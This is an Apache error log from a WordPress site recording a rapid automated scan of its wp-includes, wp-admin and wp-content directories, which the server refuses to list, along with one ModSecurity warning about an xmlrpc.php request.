[Thu Apr 09 14:36:24.804832 2026] [autoindex:error] [pid 24517:tid 24578] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:25.179031 2026] [autoindex:error] [pid 24517:tid 24598] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:27.017352 2026] [autoindex:error] [pid 24517:tid 24583] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:27.362879 2026] [autoindex:error] [pid 24517:tid 24575] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:27.650994 2026] [autoindex:error] [pid 24517:tid 24579] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:31.423025 2026] [autoindex:error] [pid 24517:tid 24574] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:31.742508 2026] [autoindex:error] [pid 24517:tid 24576] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:32.082873 2026] [autoindex:error] [pid 24517:tid 24589] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:32.379049 2026] [autoindex:error] [pid 24517:tid 24580] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:32.719094 2026] [autoindex:error] [pid 24517:tid 24583] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:33.006059 2026] [autoindex:error] [pid 24517:tid 24575] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:34.747127 2026] [autoindex:error] [pid 24517:tid 24583] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:35.043731 2026] [autoindex:error] [pid 24517:tid 24593] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:39.150324 2026] [autoindex:error] [pid 24517:tid 24581] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:41.765321 2026] [autoindex:error] [pid 24517:tid 24580] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:42.524492 2026] [autoindex:error] [pid 24517:tid 24588] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:46.622387 2026] [autoindex:error] [pid 24517:tid 24595] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:47.031587 2026] [autoindex:error] [pid 24517:tid 24576] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:51.249590 2026] [autoindex:error] [pid 24517:tid 24595] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:52.864598 2026] [autoindex:error] [pid 24517:tid 24574] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:54.410728 2026] [autoindex:error] [pid 24517:tid 24592] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:56.010438 2026] [autoindex:error] [pid 24517:tid 24579] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:56.329148 2026] [autoindex:error] [pid 24517:tid 24596] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:56.617354 2026] [autoindex:error] [pid 24517:tid 24589] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:59.251399 2026] [autoindex:error] [pid 24517:tid 24575] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:02.157534 2026] [autoindex:error] [pid 24517:tid 24590] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:02.483514 2026] [autoindex:error] [pid 24517:tid 24594] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:06.535770 2026] [autoindex:error] [pid 24517:tid 24581] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:08.008528 2026] [autoindex:error] [pid 24517:tid 24574] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:10.867083 2026] [autoindex:error] [pid 24517:tid 24596] [client 45.95.243.6:57487] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:12.497702 2026] [:error] [pid 24517:tid 24575] [client 185.246.164.237:57462] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addJGHboYEn2ZFM_PS9K_gAAAIE"]
[Thu Apr 09 14:37:13.736802 2026] [autoindex:error] [pid 24517:tid 24590] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:14.069024 2026] [autoindex:error] [pid 24517:tid 24594] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:14.382391 2026] [autoindex:error] [pid 24517:tid 24591] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:14.682127 2026] [autoindex:error] [pid 24517:tid 24593] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:15.056300 2026] [autoindex:error] [pid 24517:tid 24580] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:24.197196 2026] [autoindex:error] [pid 24927:tid 24948] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:24.489901 2026] [autoindex:error] [pid 24927:tid 24937] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:24.831951 2026] [autoindex:error] [pid 24927:tid 24935] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:25.120633 2026] [autoindex:error] [pid 24927:tid 24938] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:25.418066 2026] [autoindex:error] [pid 24927:tid 24932] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:31.351129 2026] [autoindex:error] [pid 24927:tid 24947] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:32.800568 2026] [autoindex:error] [pid 24927:tid 24935] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:33.095232 2026] [autoindex:error] [pid 24927:tid 24938] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:33.422605 2026] [autoindex:error] [pid 24927:tid 24933] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:33.796157 2026] [autoindex:error] [pid 24927:tid 24932] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:34.084808 2026] [autoindex:error] [pid 24927:tid 24930] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:39.271047 2026] [autoindex:error] [pid 24927:tid 24948] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:43.247840 2026] [autoindex:error] [pid 24927:tid 24944] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:43.555727 2026] [autoindex:error] [pid 24927:tid 24941] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:45.042586 2026] [autoindex:error] [pid 24927:tid 24937] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:51.627949 2026] [autoindex:error] [pid 24927:tid 24940] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:51.934688 2026] [autoindex:error] [pid 24927:tid 24939] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:52.220043 2026] [autoindex:error] [pid 24927:tid 24937] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:52.623957 2026] [autoindex:error] [pid 24927:tid 24942] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:37:57.655172 2026] [autoindex:error] [pid 24927:tid 24946] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:01.775518 2026] [autoindex:error] [pid 24927:tid 24945] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:02.103582 2026] [autoindex:error] [pid 24927:tid 24947] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
